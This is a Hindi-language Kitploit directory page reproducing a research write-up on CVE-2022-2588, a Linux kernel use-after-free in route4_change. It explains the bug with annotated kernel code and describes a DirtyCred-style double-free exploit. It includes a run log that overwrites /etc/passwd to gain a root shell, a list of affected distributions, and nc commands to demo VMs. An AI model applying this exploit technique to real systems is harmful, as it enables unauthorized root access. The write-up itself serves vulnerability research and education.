Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-2588 — CVE-2022-2588 के लिए विस्तृत लेख और शोषण कोड, route4_change में लिनक्स कर्नेल का उपयोग-पश्चात मुक्त (use-after-free) जो डबल-फ्री और क्रेडेंशियल स्वैपिंग के माध्यम से विशेषाधिकार वृद्धि की ओर ले जाता है। | Kitploit
उपकरण/GitHubGitHub/dom4570/cve-2022-2588
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubdom4570/cve-2022-2588

CVE-2022-2588

CVE-2022-2588 के लिए विस्तृत लेख और शोषण कोड, route4_change में लिनक्स कर्नेल का उपयोग-पश्चात मुक्त (use-after-free) जो डबल-फ्री और क्रेडेंशियल स्वैपिंग के माध्यम से विशेषाधिकार वृद्धि की ओर ले जाता है।

रिपॉजिटरी देखें
13 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-2588

सुधार

यह बग Linux v5.19 में इस commit द्वारा ठीक किया गया है।

बग

यह बग Linux v3.17 में इस commit द्वारा 2014 में शामिल किया गया था। इसे ट्रिगर करने के लिए User Namespaces की आवश्यकता होती है। यह बग CVE-2021-3715 से काफी मिलता-जुलता है, जो route4_filter की लिंक्ड लिस्ट पर गलत संचालन के कारण हुआ था। CVE-2021-3715 के अधिक विवरण ब्लैकहैट टॉक (पृष्ठ 16) पर पाए जा सकते हैं। निम्नलिखित CVE-2022-2588 के कुछ संक्षिप्त विवरण हैं।

निम्नलिखित CVE-2022-2588 को समझने के लिए फ़ंक्शन route4_change के कुछ महत्वपूर्ण कोड स्निपेट दिखाता है।

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

फ़ंक्शन route4_filter ऑब्जेक्ट को आरंभ/बदलने के लिए कार्यान्वित किया गया है। फ़िल्टर प्रत्येक फ़िल्टर के बीच अंतर करने के लिए handle को एक अद्वितीय आइडी के रूप में उपयोग करता है। यदि कोई हैंडल पहले से आरंभ किया गया है (अर्थात fold वेरिएबल शून्य नहीं है), तो यह पुराने फ़िल्टर को हटाकर और नया फ़िल्टर जोड़कर फ़िल्टर को अपडेट करेगा; अन्यथा, यह केवल एक नया फ़िल्टर जोड़ेगा।

[0] में, कर्नेल route4_filter ऑब्जेक्ट आवंटित करता है। [1] में, यदि fold खाली नहीं है, जिसका अर्थ है कि समान हैंडल वाला एक फ़िल्टर मौजूद है, तो यह कुछ जानकारी नए फ़िल्टर में कॉपी करेगा और [2] में नए फ़िल्टर को आरंभ करेगा, फिर [3] में नए फ़िल्टर को सूची में सम्मिलित करेगा। यदि पुराना फ़िल्टर मौजूद है, तो इसे [4] में सूची से हटा दिया जाता है और [6] में मुक्त कर दिया जाता है।

बग [4] में होता है, जो जाँचता है कि हटाने के लिए कोई पुराना फ़िल्टर मौजूद है या नहीं। शर्त सुनिश्चित करती है कि हैंडल शून्य नहीं होना चाहिए और यह नए फ़िल्टर के हैंडल से मेल खाना चाहिए। यह शर्त [6] में फ़िल्टर को मुक्त करने की शर्त से मेल नहीं खाती, जो केवल जाँचता है कि पुराना फ़िल्टर मौजूद है या नहीं। इसलिए, यदि उपयोगकर्ता एक ऐसा फ़िल्टर बनाते हैं जिसका हैंडल 0 है, और फिर उसके प्रतिस्थापन को ट्रिगर करते हैं, तो फ़िल्टर [4] में अनलिंक नहीं होगा बल्कि [6] में मुक्त हो जाएगा क्योंकि उनकी शर्तें समान नहीं हैं।

शोषण

चूंकि यह बग CVE-2021-3715 के समान है, इसलिए उनके प्रिमिटिव लगभग समान हैं। पाठक प्रिमिटिव के अधिक विस्तृत विवरण के लिए ब्लैकहैट टॉक का संदर्भ ले सकते हैं। यह राइट-अप DirtyCred के विचार के साथ शोषण दिखाता है।

चूंकि मुक्त किया गया fold बग को ट्रिगर करने के बाद भी लिंक्ड लिस्ट पर है, हम fold को एक बार फिर मुक्त कर सकते हैं, जो अंततः route4_filer ऑब्जेक्ट और route4_filter->exts.action ऑब्जेक्ट पर डबल फ्री का कारण बनेगा यदि CONFIG_NET_CLS_ACT सक्षम है।

शोषण कोड उन दो डबल-फ्री क्षमताओं का उपयोग करके टास्क क्रेडेंशियल (kmalloc-192 डबल फ्री का उपयोग करते हुए, आने वाला है) और ओपन फ़ाइल क्रेडेंशियल (kmalloc-256 डबल फ्री का उपयोग करते हुए) पर हमले का प्रदर्शन करते हैं।

फ़ाइल क्रेडेंशियल पर हमला

DirtyCred के विचार का अनुसरण करते हुए, शोषण कोड अनुमति जाँच के बाद फ़ाइल क्रेडेंशियल को स्वैप करता है, ताकि हम पढ़ने की अनुमति वाली फ़ाइलों में कोई भी सामग्री लिख सकें। आदर्श रूप से, कोड बग से प्रभावित सभी कर्नेल संस्करणों पर काम कर सकता है। यह ध्यान दिया जाता है कि पुराने कर्नेल पर जहां msg_msg को kmalloc-rcl-* में अलग किया गया है, कोड को काम करने के लिए शोषण एक अलग स्प्रे ऑब्जेक्ट का उपयोग करता है।

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

शोषण को यथासंभव अधिक से अधिक डिस्ट्रो पर काम करने के लिए लिखा गया था। यह निम्नलिखित पर काम करने की पुष्टि की गई है:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(यदि आपको लगता है कि यह अन्य कर्नेल पर काम कर सकता है तो कृपया इसे अपडेट करने के लिए PR भेजने में संकोच न करें।)

क्या आप VM में शोषण का प्रयास करना चाहते हैं?

कृपया उपयोगकर्ता low और पासवर्ड low से लॉगिन करें

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
टूल डाउनलोड करें